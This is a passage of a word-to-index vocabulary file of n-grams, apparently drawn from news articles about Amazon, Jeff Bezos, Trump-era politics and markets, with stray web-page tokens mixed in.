shoppers": 120657, "age random": 120658, "credit combined": 120659, "vindictively": 120660, "actually carrying": 120661, "case involved": 120662, "based corporate": 120663, "day close": 120664, "hill correspondent": 120665, "eric wolff": 120666, "viewers check": 120667, "nlindstrom": 120668, "plus economy": 120669, "taxi services": 120670, "fixed_positions": 120671, "mary hanbury": 120672, "related tweets": 120673, "strong joint": 120674, "railroad": 120675, "force according": 120676, "discussions nyt": 120677, "38bn": 120678, "basis": 120679, "alberto dos": 120680, "address safety": 120681, "kathleen": 120682, "bardem star": 120683, "bigger experiment": 120684, "degraded": 120685, "hq2 traffic": 120686, "today chinese": 120687, "symb": 120688, "circle": 120689, "subsidized washington": 120690, "sibling korede": 120691, "whopping billion": 120692, "chalking stories": 120693, "markets business": 120694, "cbs reboot": 120695, "electronics despite": 120696, "old saying": 120697, "subsidies bezos": 120698, "nbcuniversal": 120699, "korea ballistic": 120700, "rupert murdoch": 120701, "entertainment studio": 120702, "cbs starting": 120703, "tori doss": 120704, "dots": 120705, "offer cause": 120706, "subcontractors kirkorian": 120707, "democrats murder": 120708, "progressive badges": 120709, "thumb imageurl": 120710, "543": 120711, "island fla": 120712, "temper tantrum": 120713, "register deforestation": 120714, "bank lost": 120715, "camilo carranza": 120716, "paris fr0004178572": 120717, "post million": 120718, "trading losses": 120719, "privilege": 120720, "shockingly amazon": 120721, "qualified immunity": 120722, "alibaba amazon": 120723, "workspace": 120724, "trudo": 120725, "rocket company": 120726, "doppler labs": 120727, "philip dick": 120728, "earned doctorate": 120729, "post candidate": 120730, "queens amazon": 120731, "2fct": 120732, "signed deal": 120733, "newsmedia": 120734, "idg2osapfp michael": 120735, "victims and\u0430lookee\u0430here": 120736, "aws peer": 120737, "city transportation": 120738, "feel strongly": 120739, "cooperation treaty": 120740, "organized": 120741, "does opening": 120742, "burned nashville": 120743, "seeking buyer": 120744, "allows developers": 120745, "force competitors": 120746, "03vdg4nes6": 120747, "satire subtlety": 120748, "website asked": 120749, "outlets identified": 120750, "upwardly revised": 120751, "r4ee": 120752, "best seller": 120753, "group says": 120754, "county politics": 120755, "infant mother": 120756, "association privately": 120757, "video making": 120758, "committee gac": 120759, "service monopolistic": 120760, "pummelled": 120761, "workers wear": 120762, "libertarian myth": 120763, "terner": 120764, "fair article": 120765, "kennedy ministries": 120766, "help decrease": 120767, "trump wall": 120768, "people flying": 120769, "medal tim": 120770, "lutz": 120771, "zurich": 120772, "catching hell": 120773, "cramer right": 120774, "disney long": 120775, "veteran academic": 120776, "post risks": 120777, "dinosaurs": 120778, "unflattering news": 120779, "service special": 120780, "berg decreased": 120781, "new innovations": 120782, "telecommunications group": 120783, "marriage bezos": 120784, "tax dodge": 120785, "abuse southern": 120786, "digital news": 120787, "official accused": 120788, "northern virginia": 120789, "don charge": 120790, "clip joe": 120791, "integrated": 120792, "mancini": 120793, "origin comedian": 120794, "tax relief": 120795, "amazon board": 120796, "away valuable": 120797, "ceo amazon": 120798, "rage": 120799, "sessions assembly": 120800, "handgun called": 120801, "inzaulgarat map": 120802, "adragna": 120803, "revenue missed": 120804, "corp controversial": 120805, "marketing mail": 120806, "hard times": 120807, "work indonesia": 120808, "kamaron leach": 120809, "various journalists": 120810, "workers calling": 120811, "possibly start": 120812, "evil communications": 120813, "watching dario": 120814, "overhead costs": 120815, "trump yesterday": 120816, "neutrality push": 120817, "erect": 120818, "complex question": 120819, "batteries": 120820, "visionary documentaries": 120821, "furious response": 120822, "negotiations hit": 120823, "site people": 120824, "labor force": 120825, "jpg height": 120826, "used booster": 120827, "repeatedly spoken": 120828, "report cited": 120829, "barrage": 120830, "buy bank": 120831, "frees": 120832, "mann": 120833, "largest shipping": 120834, "sm amazon": 120835, "taft hartley": 120836, "static": 120837, "signs buying": 120838, "credit college": 120839, "talks scenario": 120840, "intently listening": 120841, "pelosi doesn": 120842, "current operating": 120843, "officials tallahassee": 120844, "231 type": 120845, "publicly backed": 120846, "chains tumble": 120847, "inexplicably remained": 120848, "flawed research": 120849, "police orlando": 120850, "trumpdate": 120851, "representation don": 120852, "pressure doctrine": 120853, "divvy homes": 120854, "collar visa": 120855, "minors family": 120856, "william gass": 120857, "bone necessary": 120858, "continued employees": 120859, "princesses wear": 120860, "star michelin": 120861, "national landing": 120862, "link baity": 120863, "saudi allies": 120864, "becker jeffbezos": 120865, "compressed margins": 120866, "gassy": 120867, "ombudsman": 120868, "follow nick": 120869, "clock delivery": 120870, "security instead": 120871, "lunch": 120872, "just years": 120873, "increasingly isolated": 120874, "stress tests": 120875, "cap 852": 120876, "company muscle": 120877, "recently following": 120878, "large tech": 120879, "says enquirer": 120880, "hollywood wall": 120881, "issued report": 120882, "trumpkim": 120883, "regional health": 120884, "aws division": 120885, "clearly favored": 120886, "zuker dannyzuker": 120887, "list new": 120888, "culiac\u00e1n": 120889, "partisan": 120890, "away noon": 120891, "expect just": 120892, "bezos recently": 120893, "trumpdonald": 120894, "avoid adding": 120895, "building owned": 120896, "breach customers": 120897, "vignettes": 120898, "stroock allen": 120899, "error page": 120900, "university board": 120901, "dies foxborough": 120902, "excuse keeping": 120903, "expect slowdown": 120904, "120 points": 120905, "mass amounts": 120906, "bullet 200": 120907, "choreographed relationship": 120908, "traded barbs": 120909, "campaign fund": 120910, "tweet spicer": 120911, "count revenue": 120912, "computing appeared": 120913, "punitive time": 120914, "generally welcome": 120915, "decrease charges": 120916, "agoura hills": 120917, "negotiation think": 120918, "opinion silent": 120919, "labor abuser": 120920, "tech ripping": 120921, "society bowing": 120922, "little appetite": 120923, "durant": 120924, "erious": 120925, "salles noted": 120926, "offer new": 120927, "genuine gift": 120928, "pretty robust": 120929, "start seeing": 120930, "long afterward": 120931, "antimicrobial": 120932, "amazon coalition": 120933, "council fsoc": 120934, "sarge guilfoyle": 120935, "bezos access": 120936, "introductory": 120937, "close new": 120938, "unlike traditional": 120939, "corbyn": 120940, "munger": 120941, "administration defense": 120942, "enquirer flipped": 120943, "meaningful advantage": 120944, "midterm turnout": 120945, "publish unsubstantiated": 120946, "warehouse computer": 120947, "times listed": 120948, "mithila": 120949, "valuation sue": 120950, "youtube screenshot": 120951, "carrier completes": 120952, "running scam": 120953, "family told": 120954, "presidential candidates": 120955, "photos priyanka": 120956, "racial politics": 120957, "jail watch": 120958, "xin": 120959, "regulators fined": 120960, "says jeff": 120961, "special baby": 120962, "earnings wince": 120963, "leap forward": 120964, "message says": 120965, "help maintain": 120966, "propaganda herman": 120967, "revenue jumped": 120968, "georgia governor": 120969, "badly strained": 120970, "browns need": 120971, "rex nutting": 120972, "county bid": 120973, "rise 2019": 120974, "owlprevitem": 120975, "engage cortana": 120976, "global trading": 120977, "gmt severe": 120978, "shouting heil": 120979, "images": 120980, "courts followed": 120981, "2018 wgn": 120982, "man asking": 120983, "definitely did": 120984, "alabama": 120985, "titled better": 120986, "allen millions": 120987, "define": 120988, "182 shares": 120989, "fund billionaire": 120990, "2018 prime": 120991, "trades today": 120992, "referred comment": 120993, "family secrets": 120994, "defiantly stood": 120995, "allowing protected": 120996, "record low": 120997, "stay apart": 120998, "awful post": 120999, "brands running": 121000, "deregulationist agenda": 121001, "cramer speculated": 121002, "seethes new": 121003, "company indication": 121004, "cnbc billionaire": 121005, "oversight according": 121006, "source instead": 121007, "extraordinary turn": 121008, "available offline": 121009, "labor expenses": 121010, "public hearing": 121011, "success geekwire": 121012, "staffer sharon": 121013, "suitcase": 121014, "operations amazon": 121015, "costner hugh": 121016, "cramer pointed": 121017, "congressional relations": 121018, "jonathan scott": 121019, "david rubinstein": 121020, "mccain comments": 121021, "announced city": 121022, "sears holdings": 121023, "clearly knows": 121024, "innocent exaggeration": 121025, "charles gasparino": 121026, "exclusive ownership": 121027, "lakefront": 121028, "particularly hostile": 121029, "sparked numerous": 121030, "catholic": 121031, "territories": 121032, "hogan": 121033, "posthumous literary": 121034, "bizarre": 121035, "style ads": 121036, "support moving": 121037, "big sell": 121038, "bel": 121039, "warren pulled": 121040, "7th grade": 121041, "practices make": 121042, "stop illegal": 121043, "medically": 121044, "set lists": 121045, "world wide": 121046, "msci": 121047, "current head": 121048, "eu starting": 121049, "peru": 121050, "propaganda arm": 121051, "investment firm": 121052, "enquirer carried": 121053, "enigmatic ceo": 121054, "retailing": 121055, "city queens": 121056, "subway ride": 121057, "spettypiece bloomberg": 121058, "law barring": 121059, "warren pocahontas": 121060, "new face": 121061, "crony": 121062, "chairman representative": 121063, "payment market": 121064, "big boys": 121065, "changing things": 121066, "incentives available": 121067, "834704902": 121068, "company ami": 121069, "raise privacy": 121070, "large entity": 121071, "020 words": 121072, "term events": 121073, "cat accidentally": 121074, "couples": 121075, "day flies": 121076, "company fixture": 121077, "addition mnuchin": 121078, "commerce": 121079, "lipe": 121080, "iphone xr": 121081, "democrats taking": 121082, "publish embarrassing": 121083, "discussed altering": 121084, "reiterated claims": 121085, "repeatedly gone": 121086, "new industries": 121087, "teenager placed": 121088, "haralampus director": 121089, "biller leslie": 121090, "gop congress": 121091, "tax games": 121092, "combine augmented": 121093, "t000023123 t000023122": 121094, "wrote emphasizing": 121095, "madeline marshall": 121096, "hellhole burgeoning": 121097, "given nearly": 121098, "royal craft": 121099, "nancy cordes": 121100, "accused mueller": 121101, "broken things": 121102, "trillion seventh": 121103, "trump differed": 121104, "vet imprisoned": 121105, "yr globally": 121106, "include threats": 121107, "mickey": 121108, "226": 121109, "cooker saves": 121110, "priced phone": 121111, "hoax posits": 121112, "imported steel": 121113, "horowitz requesting": 121114, "proprietary information": 121115, "warwick centre": 121116, "videotitledivid js": 121117, "jake maxwell": 121118, "popular allowing": 121119, "flu shot": 121120, "broadsheets new": 121121, "nbc posted": 121122, "users ceo": 121123, "city ab": 121124, "preferred trump": 121125, "stock fukoku": 121126, "listing notes": 121127, "blend maga": 121128, "500 children": 121129, "maximum pressure": 121130, "demons witch": 121131, "charismatic incredibly": 121132, "absolutely need": 121133, "twitter msdc14": 121134, "publicly discount": 121135, "broadcasting": 121136, "america mop": 121137, "student protesters": 121138, "loading polls": 121139, "government overpays": 121140, "irrefutable fact": 121141, "missing leg": 121142, "offices seattle": 121143, "irs officials": 121144, "things assisting": 121145, "meeting house": 121146, "industry accounts": 121147, "instituted": 121148, "says edelman": 121149, "2019 mean": 121150, "rapper ja": 121151, "stories sen": 121152, "barth words": 121153, "kirstjen": 121154, "emerging video": 121155, "escalation": 121156, "offers highly": 121157, "mario tennis": 121158, "ovens food": 121159, "mia farrow": 121160, "racy text": 121161, "smialowski": 121162, "industry anti": 121163, "jobs ocasio": 121164, "growing delivery": 121165, "list portland": 121166, "pushed 8221": 121167, "uk 2018": 121168, "episode black": 121169, "misidentifying": 121170, "defense orders": 121171, "laws dictate": 121172, "saying company": 121173, "item prices": 121174, "bread amazon": 121175, "governmental requirements": 121176, "borne attacks": 121177, "serial": 121178, "administration accomplishments": 121179, "insiders interviewed": 121180, "amber tamblyn": 121181, "administration opposition": 121182, "israeli border": 121183, "readers commented": 121184, "cinematic preoccupations": 121185, "broad range": 121186, "forest city": 121187, "lounge wsj": 121188, "names mentioned": 121189, "government report": 121190, "committed crime": 121191, "involve risks": 121192, "epic confrontations": 121193, "way larry": 121194, "built download": 121195, "health administration": 121196, "members shell": 121197, "identify dangerous": 121198, "assistant devices": 121199, "career experts": 121200, "multiple amazon": 121201, "switches": 121202, "patent infringement": 121203, "chemicals healthy": 121204, "draconian anti": 121205, "happy man": 121206, "swamp creature": 121207, "drug charges": 121208, "metal detectors": 121209, "secret evil": 121210, "mike calia": 121211, "remove fuel": 121212, "ending breaking": 121213, "continuation": 121214, "taxable": 121215, "amazon gone": 121216, "income workers": 121217, "increasingly taking": 121218, "relations department": 121219, "firm connected": 121220, "tell new": 121221, "767 300f": 121222, "offers convenience": 121223, "vgbufmhunz": 121224, "koenig wedbush": 121225, "month calling": 121226, "hunt earlier": 121227, "gundlach says": 121228, "republican president": 121229, "proposed creating": 121230, "reward work": 121231, "ballard companions": 121232, "conveyable": 121233, "party 2018": 121234, "second case": 121235, "amazon business": 121236, "expresses explicit": 121237, "render decisions": 121238, "hand account": 121239, "highest office": 121240, "barron blog": 121241, "packages amazon": 121242, "recently voted": 121243, "parcels despite": 121244, "ft property": 121245, "breaks median": 121246, "ebf18": 121247, "hollywood manager": 121248, "pay washington": 121249, "home appliance": 121250, "cloud operators": 121251, "pursing": 121252, "03pm": 121253, "federal filing": 121254, "greenwald republished": 121255, "monitoring fakes": 121256, "standoff house": 121257, "industries discuss": 121258, "chair david": 121259, "hasn waned": 121260, "cuomo yes": 121261, "riding similar": 121262, "trade battle": 121263, "musk announced": 121264, "welcome president": 121265, "criticizing google": 121266, "pf_rd_p 5ff1b69e": 121267, "headlines trump": 121268, "inadmissible": 121269, "withheld": 121270, "true cnl_custom_article_footer": 121271, "utm_term coverage": 121272, "commands": 121273, "edwardsville campus": 121274, "unpredictable refereeing": 121275, "rose 284": 121276, "unswerving": 121277, "word pho": 121278, "unleashed series": 121279, "giant unveiled": 121280, "maurice swift": 121281, "clear abuse": 121282, "traditional vietnamese": 121283, "consumers doors": 121284, "kroger convinced": 121285, "keisha lance": 121286, "opinions": 121287, "exploitation": 121288, "direct federal": 121289, "tribune reports": 121290, "ba slumped": 121291, "sizable 312": 121292, "entity accessed": 121293, "2001 darr": 121294, "anonymously published": 121295, "president aqms": 121296, "carell wearing": 121297, "ellerth defense": 121298, "read printed": 121299, "city bloomberg": 121300, "digitally releasing": 121301, "wasn clear": 121302, "amazon notoriously": 121303, "struggling housing": 121304, "live coverage": 121305, "probably tilting": 121306, "articleid": 121307, "html hp": 121308, "amazon confirms": 121309, "bri development": 121310, "powerful lobbying": 121311, "issue direct": 121312, "sanchez knows": 121313, "enmeshing": 121314, "morning love": 121315, "gizmodo media": 121316, "cattle grazing": 121317, "tremendous retribution": 121318, "woo amazon": 121319, "disney": 121320, "stinging criticism": 121321, "demon work": 121322, "fallout disney": 121323, "today greene": 121324, "2014 amzn": 121325, "new weapon": 121326, "just short": 121327, "straight month": 121328, "americans favored": 121329, "alphabet tell": 121330, "laws media": 121331, "deployment creates": 121332, "tax related": 121333, "erosion": 121334, "raging asshole": 121335, "fb mark": 121336, "sell maker": 121337, "saddest sights": 121338, "stone veteran": 121339, "monthly churn": 121340, "mumbai attacks": 121341, "cramer thank": 121342, "post accounts": 121343, "swift turns": 121344, "ron stallworth": 121345, "run enterprises": 121346, "coverage giuliani": 121347, "faire headed": 121348, "little reading": 121349, "tjl legal": 121350, "segue": 121351, "subsidies act": 121352, "help launch": 121353, "charcoal": 121354, "rigs search": 121355, "make decisions": 121356, "white nationalism": 121357, "personal attacks": 121358, "book adaptations": 121359, "jenkins fox": 121360, "branded fashion": 121361, "certainly fuel": 121362, "opinions spy": 121363, "globaldata": 121364, "teach people": 121365, "overtime workers": 121366, "etsy premium": 121367, "spacex falcon": 121368, "bra": 121369, "laws federal": 121370, "voters cast": 121371, "selfies eliminating": 121372, "lizmair": 121373, "department firefighters": 121374, "court battles": 121375, "pillpack gives": 121376, "hollywood actress": 121377, "9billion": 121378, "deal posted": 121379, "leaning president": 121380, "qualified nominees": 121381, "s8i v1": 121382, "dc area": 121383, "438 large": 121384, "plague university": 121385, "ami executives": 121386, "today want": 121387, "huge comparative": 121388, "apparent drafting": 121389, "sparks amazon": 121390, "030": 121391, "plants": 121392, "companies flailing": 121393, "ways including": 121394, "new china": 121395, "ways amazon": 121396, "people assume": 121397, "drive small": 121398, "fine people": 121399, "cnbc parent": 121400, "netnewsledger": 121401, "overruns": 121402, "amazon secretly": 121403, "amazon staged": 121404, "highlighted new": 121405, "repeatedly labeled": 121406, "increasingly surprising": 121407, "designation criteria": 121408, "key way": 121409, "educational missions": 121410, "springs nation": 121411, "col allan": 121412, "cuomo accused": 121413, "brilliant exhaustive": 121414, "children bedding": 121415, "designing similar": 121416, "cristo": 121417, "ecl": 121418, "representative entities": 121419, "water facebook": 121420, "barcode scan": 121421, "clearly attracted": 121422, "hire sidelined": 121423, "bernstein epa": 121424, "structure allegations": 121425, "redefine": 121426, "enterprise institute": 121427, "bookstore away": 121428, "keynes": 121429, "period international": 121430, "becker investigation": 121431, "hit disproportionately": 121432, "import foreign": 121433, "billion larry": 121434, "official polls": 121435, "don usually": 121436, "post spent": 121437, "affair maintains": 121438, "tabloid enquirer": 121439, "longstanding relationship": 121440, "trump unborn": 121441, "huge increase": 121442, "emergency alert": 121443, "having secured": 121444, "quickly build": 121445, "finance google": 121446, "possible bezos": 121447, "kilmeade": 121448, "subjugate": 121449, "rates shipments": 121450, "economic isolation": 121451, "buyer mnuchin": 121452, "dan": 121453, "europe 2018": 121454, "card denied": 121455, "commission justices": 121456, "married wendi": 121457, "reach conclusion": 121458, "advocacy organization": 121459, "entire book": 121460, "board game": 121461, "millions lottery": 121462, "madrona venture": 121463, "told attendees": 121464, "vitriolic trash": 121465, "flew": 121466, "face questions": 121467, "makes rape": 121468, "bezoss": 121469, "reuters european": 121470, "minor players": 121471, "neighborhoods gold": 121472, "pubgps4 pubgversary": 121473, "amazon remark": 121474, "hq2 minutes": 121475, "days working": 121476, "uncovered late": 121477, "thing maybe": 121478, "george orwell": 121479, "leak led": 121480, "porowski": 121481, "ceo avi": 121482, "suspicious substance": 121483, "challenge places": 121484, "core appeal": 121485, "produced learning": 121486, "producer tyson": 121487, "g5e gcc": 121488, "high bs_link": 121489, "congo president": 121490, "firm saw": 121491, "lobbying firms": 121492, "bezos shares": 121493, "packages grew": 121494, "kelly 310": 121495, "state improving": 121496, "hard hitting": 121497, "paid 129": 121498, "business regulation": 121499, "nests ami": 121500, "feuds": 121501, "additional house": 121502, "note hear": 121503, "bezos washington": 121504, "snowball exerting": 121505, "749 shares": 121506, "news finance": 121507, "study conducted": 121508, "check online": 121509, "risk averse": 121510, "car sales": 121511, "industries particularly": 121512, "stock argues": 121513, "associate roger": 121514, "products listed": 121515, "scalzo epa": 121516, "repugnant decision": 121517, "president removal": 121518, "platform removes": 121519, "undocumented peopleworking": 121520, "queens quay": 121521, "souk": 121522, "race politics": 121523, "attend mccain": 121524, "eat lunch": 121525, "wreckless": 121526, "mitchell": 121527, "board jumped": 121528, "pynchonian hinterlands": 121529, "firm deliveroo": 121530, "based south": 121531, "bourses": 121532, "substantial impact": 121533, "pirated merchandise": 121534, "hurling": 121535, "foundation philanthropy": 121536, "deferred": 121537, "shippingeasy": 121538, "submit robust": 121539, "high poverty": 121540, "rates postal": 121541, "practices amazon": 121542, "singer hillary": 121543, "twitter slamming": 121544, "stringify r4ee": 121545, "analytics stories": 121546, "hotchkiss": 121547, "make quick": 121548, "luisa": 121549, "wpp slumped": 121550, "deliver 600": 121551, "tortured analogy": 121552, "fining google": 121553, "media circus": 121554, "week support": 121555, "cooperation agreement": 121556, "argument money": 121557, "medallion owners": 121558, "crazytown": 121559, "51554477721 boston": 121560, "redacted version": 121561, "contrast uber": 121562, "tech exec": 121563, "amazon excerpt": 121564, "food makes": 121565, "families response": 121566, "upend health": 121567, "umu": 121568, "tiger": 121569, "willingly": 121570, "including african": 121571, "deep disappointment": 121572, "2016 ecommerce": 121573, "widely criticized": 121574, "bezos using": 121575, "comment trump": 121576, "exact sciences": 121577, "allen singer": 121578, "parcel": 121579, "seattle cnnmoney": 121580, "recently tweet": 121581, "recruiting entrepreneurs": 121582, "post regularly": 121583, "expert told": 121584, "desensitised": 121585, "woul trump": 121586, "close hong": 121587, "view new": 121588, "wonders": 121589, "industry tests": 121590, "commission 180": 121591, "fortunes decline": 121592, "social engineering": 121593, "say shirt": 121594, "dripping wax": 121595, "judicialwatch disgrace": 121596, "money orders": 121597, "look fairly": 121598, "releases senator": 121599, "published book": 121600, "encouraging individuals": 121601, "fare pays": 121602, "wealthiest american": 121603, "storm animal": 121604, "david foster": 121605, "undercover action": 121606, "censor anti": 121607, "information tjl": 121608, "manhattan skyline": 121609, "misleading attacks": 121610, "twitter demanding": 121611, "minority": 121612, "tencent overseas": 121613, "posed unreasonable": 121614, "boost sales": 121615, "generally interpreted": 121616, "political motives": 121617, "shanker": 121618, "volume amazon": 121619, "berlowitz": 121620, "surcharges carriers": 121621, "reach closer": 121622, "year currently": 121623, "policy position": 121624, "payment portion": 121625, "somodevilla sessions": 121626, "potentially significant": 121627, "continue exploring": 121628, "technology titan": 121629, "trader says": 121630, "gary good": 121631, "jordon": 121632, "helped lead": 121633, "warns china": 121634, "presentations ahead": 121635, "interview called": 121636, "proposal 2018": 121637, "commercial featured": 121638, "grape genetics": 121639, "positive twitter": 121640, "cuomo right": 121641, "relieve": 121642, "gary reback": 121643, "topnews": 121644, "stunning extortion": 121645, "biff trump": 121646, "politico recently": 121647, "jupiter stay": 121648, "click cn__column": 121649, "microchip": 121650, "reporter talks": 121651, "publisher honour": 121652, "yorker played": 121653, "hasbro spokesperson": 121654, "john raoux": 121655, "munduruku fiercely": 121656, "scottland": 121657, "filled years": 121658, "taxpolicycenter": 121659, "downplaying": 121660, "gathering dirt": 121661, "america failed": 121662, "worst": 121663, "toulouse france": 121664, "getting efficiency": 121665, "covet sixth": 121666, "walker": 121667, "jeff reeves": 121668, "gartner": 121669, "innovative methodologies": 121670, "halted new": 121671, "snc": 121672, "case thanks": 121673, "occasion led": 121674, "bezos space": 121675, "extreme taxes": 121676, "shocks bleeding": 121677, "staff wh": 121678, "hearing amazon": 121679, "conserve amazonian": 121680, "analysis bezos": 121681, "difficult conditions": 121682, "bigger target": 121683, "death spiral": 121684, "face today": 121685, "eye roll": 121686, "battery life": 121687, "access president": 121688, "box outside": 121689, "environmental conservation": 121690, "1531868602": 121691, "repression": 121692, "343 57m": 121693, "tighter regulatory": 121694, "spearhead": 121695, "government ramped": 121696, "worst basketball": 121697, "collapsing nation": 121698, "oli": 121699, "clay county": 121700, "amber rose": 121701, "moving saga": 121702, "robotic": 121703, "east following": 121704, "mounted determined": 121705, "roundly": 121706, "michaelcohen mlk": 121707, "faire": 121708, "reappears": 121709, "closing loopholes": 121710, "walters": 121711, "judge amy": 121712, "agent kiki": 121713, "greer taylor": 121714, "home based": 121715, "day world": 121716, "grrr": 121717, "mother basement": 121718, "management accuses": 121719, "eejodom3": 121720, "generated tax": 121721, "sale shirt": 121722, "whooping": 121723, "hornet": 121724, "indicated support": 121725, "2018 alabama": 121726, "fundamentally dangerous": 121727, "images image": 121728, "mona younis": 121729, "making fortune": 121730, "reform according": 121731, "clear unsparing": 121732, "posting billion": 121733, "latest 2018q4": 121734, "job machine": 121735, "detected signs": 121736, "china long": 121737, "tolls listeners": 121738, "government condemned": 121739, "mocked fox": 121740, "group tied": 121741, "high think": 121742, "marketplace reseller": 121743, "usa places": 121744, "announcement press": 121745, "sanders applauded": 121746, "rates hit": 121747, "proactively try": 121748, "alistair": 121749, "board seats": 121750, "poodle": 121751, "sgt": 121752, "romantic affairs": 121753, "tosay": 121754, "stock sees": 121755, "isembeddable yes": 121756, "young challengers": 121757, "ipo price": 121758, "secretary lindsay": 121759, "election subscribe": 121760, "bartiromo hmm": 121761, "cortezthat": 121762, "office celebrated": 121763, "cnn explore": 121764, "wide attention": 121765, "feud trump": 121766, "bandage": 121767, "radioshack": 121768, "improving labor": 121769, "fedex usps": 121770, "party long": 121771, "concerns pennsylvania": 121772, "esophagus": 121773, "trump camp": 121774, "doesn act": 121775, "cellphones large": 121776, "swagger": 121777, "tabloid person": 121778, "month old": 121779, "china bezos": 121780, "cigarettes products": 121781, "dog lessons": 121782, "deepak": 121783, "specific matter": 121784, "fixers": 121785, "contributions acknowledging": 121786, "potential recipients": 121787, "generally defer": 121788, "haphazard form": 121789, "businesses grow": 121790, "capital aileen": 121791, "sculpture": 121792, "fy16 fy17": 121793, "markets analysts": 121794, "amazon translate": 121795, "identifying persons": 121796, "baby jails": 121797, "perverts": 121798, "weapons according": 121799, "inflation transit": 121800, "conservative antipathy": 121801, "award winning": 121802, "local tech": 121803, "rodrigo": 121804, "play involved": 121805, "training needed": 121806, "enforcement orders": 121807, "giant dreams": 121808, "private materials": 121809, "gov david": 121810, "links partnered": 121811, "skin photo": 121812, "plant turbine": 121813, "2776086": 121814, "incredible leaders": 121815, "shutdowns expect": 121816, "prove devastating": 121817, "initiating process": 121818, "humble crow": 121819, "utterly corrupt": 121820, "size businesses": 121821, "woodward copies": 121822, "para\u00edba": 121823, "little closer": 121824, "nasdaq yhoo": 121825, "potential stake": 121826, "world joe": 121827, "net rolls": 121828, "party transactions": 121829, "imaginary": 121830, "advise president": 121831, "zuker uses": 121832, "phrase rubenstein": 121833, "amazon clovery": 121834, "proposed trump": 121835, "year lifting": 121836, "needle meaning": 121837, "autism link": 121838, "fiction set": 121839, "mainstream republican": 121840, "thepresident gives": 121841, "jpg 0x734": 121842, "investors avoid": 121843, "steps leading": 121844, "economic affairs": 121845, "receiving advantages": 121846, "castrate": 121847, "negative impacts": 121848, "marketplace addressing": 121849, "surprised wall": 121850, "engineers created": 121851, "sales president": 121852, "billions writing": 121853, "cbp web": 121854, "patrimony": 121855, "citi": 121856, "orders zhang": 121857, "advisor institutional": 121858, "football scholarship": 121859, "contact customercare": 121860, "postal scoop": 121861, "schmidt": 121862, "kully": 121863, "stone continues": 121864, "market jeff": 121865, "linsley file": 121866, "tackles": 121867, "fair consider": 121868, "horton redux": 121869, "sent 665": 121870, "run deal": 121871, "presidential nomination": 121872, "microsoft executive": 121873, "oreal heiress": 121874, "juma": 121875, "kidders bezos": 121876, "8217 fault": 121877, "kaijo": 121878, "antitrust commissioner": 121879, "year trillium": 121880, "chris isidore": 121881, "maximizing outcomes": 121882, "closest advisers": 121883, "long gone": 121884, "cabal": 121885, "perfect read": 121886, "province": 121887, "study says": 121888, "tableau": 121889, "disproportionately target": 121890, "asylum claiming": 121891, "right management": 121892, "note bgsa": 121893, "experiencing phenomenal": 121894, "howard simon": 121895, "including fictionalized": 121896, "recent 450": 121897, "demographics search": 121898, "wrote damian": 121899, "accused ne": 121900, "rallies held": 121901, "favorable regarding": 121902, "stock lost": 121903, "vaping industry": 121904, "dramatic growth": 121905, "boston university": 121906, "republican conservative": 121907, "episodes air": 121908, "yuppie": 121909, "mcdonald outlines": 121910, "ba object": 121911, "inured did": 121912, "enabler": 121913, "charts reported": 121914, "nation cherishes": 121915, "joint holdings": 121916, "business ties": 121917, "rockefeller euro": 121918, "vice vice": 121919, "goodies": 121920, "buy property": 121921, "growing animosity": 121922, "thumb thing": 121923, "headquarters thomas": 121924, "redundancy criminally": 121925, "settlements new": 121926, "trivia": 121927, "introducing new": 121928, "cents apiece": 121929, "vague threat": 121930, "candles lined": 121931, "mueller sasse": 121932, "recognized": 121933, "ex fbi": 121934, "\u014261": 121935, "killing president": 121936, "unfavorable stories": 121937, "corp chief": 121938, "mcdonald case": 121939, "golder": 121940, "jyyhycx1xb": 121941, "corporate picked": 121942, "discrimination assemblywoman": 121943, "vacates ttab": 121944, "completed items": 121945, "innovations small": 121946, "shows trump": 121947, "milwaukee motorcycle": 121948, "philadelphia pittsburgh": 121949, "firms": 121950, "200 price": 121951, "deal spells": 121952, "briefly dipping": 121953, "receives dc": 121954, "asknewswires dowjones": 121955, "dwoskin": 121956, "sanchez patrick": 121957, "tech workers": 121958, "taxation report": 121959, "moving week": 121960, "amendment pen": 121961, "expect delicate": 121962, "ashram": 121963, "private clients": 121964, "taken large": 121965, "acquisition costs": 121966, "enforcement trade": 121967, "tabloid claimed": 121968, "eengleman politico": 121969, "skyscraper": 121970, "amazon price": 121971, "trump rightly": 121972, "case google": 121973, "development tax": 121974, "litigation caused": 121975, "actions secretary": 121976, "microsoft shows": 121977, "press": 121978, "environmental protections": 121979, "rauner": 121980, "quality time": 121981, "deathly hallows": 121982, "technology adding": 121983, "housing projects": 121984, "wanton indecisiveness": 121985, "bezos devices": 121986, "showspinner": 121987, "ciara linnane": 121988, "secretive wall": 121989, "tributes network": 121990, "knock offs": 121991, "photo vadim": 121992, "singer giving": 121993, "gqcknk available": 121994, "inc_headline mark": 121995, "winning author": 121996, "structure senior": 121997, "sitting": 121998, "judicial watch": 121999, "cruz just": 122000, "county district": 122001, "inevitable amazon": 122002, "run america": 122003, "buying power": 122004, "senior white": 122005, "cloud spending": 122006, "van syckle": 122007, "compensation insurance": 122008, "pay relative": 122009, "brilliantly": 122010, "autocratic": 122011, "companies google": 122012, "nearly quarter": 122013, "right morgan": 122014, "ubiquitous ray": 122015, "initiative": 122016, "000 aftershocks": 122017, "overweight view": 122018, "earned bezos": 122019, "region home": 122020, "erratic trade": 122021, "lose fortune": 122022, "delivery delivery": 122023, "elections donald": 122024, "dunkin donuts": 122025, "report europe": 122026, "company relies": 122027, "comments undermine": 122028, "pg kamalohava": 122029, "good brands": 122030, "varicella varivax": 122031, "hair modeled": 122032, "office buffett": 122033, "company certainly": 122034, "gardening": 122035, "computing infrastructure": 122036, "theranos nasdaq": 122037, "vintage craft": 122038, "dug": 122039, "clear pricing": 122040, "photo juan": 122041, "state attorney": 122042, "fentanyl addiction": 122043, "hits coupled": 122044, "movie industry": 122045, "owned research": 122046, "reasons trump": 122047, "food network": 122048, "gawe83rdm9": 122049, "housing bubble": 122050, "genetically modified": 122051, "breach excessively": 122052, "premium linen": 122053, "unwieldy health": 122054, "oz": 122055, "index looking": 122056, "threatened duties": 122057, "peach": 122058, "olsavsky brian": 122059, "diametrically opposed": 122060, "chased": 122061, "emulates": 122062, "british drama": 122063, "lincoln park": 122064, "solidarity dozens": 122065, "treme renders": 122066, "compete": 122067, "alessandra malito": 122068, "activists rebuked": 122069, "193 television": 122070, "echo shares": 122071, "just madness": 122072, "servers openly": 122073, "insurer alleges": 122074, "breastfeeding": 122075, "accra": 122076, "persistently low": 122077, "story ben": 122078, "hewson says": 122079, "newsy watch": 122080, "offering ai": 122081, "checkout": 122082, 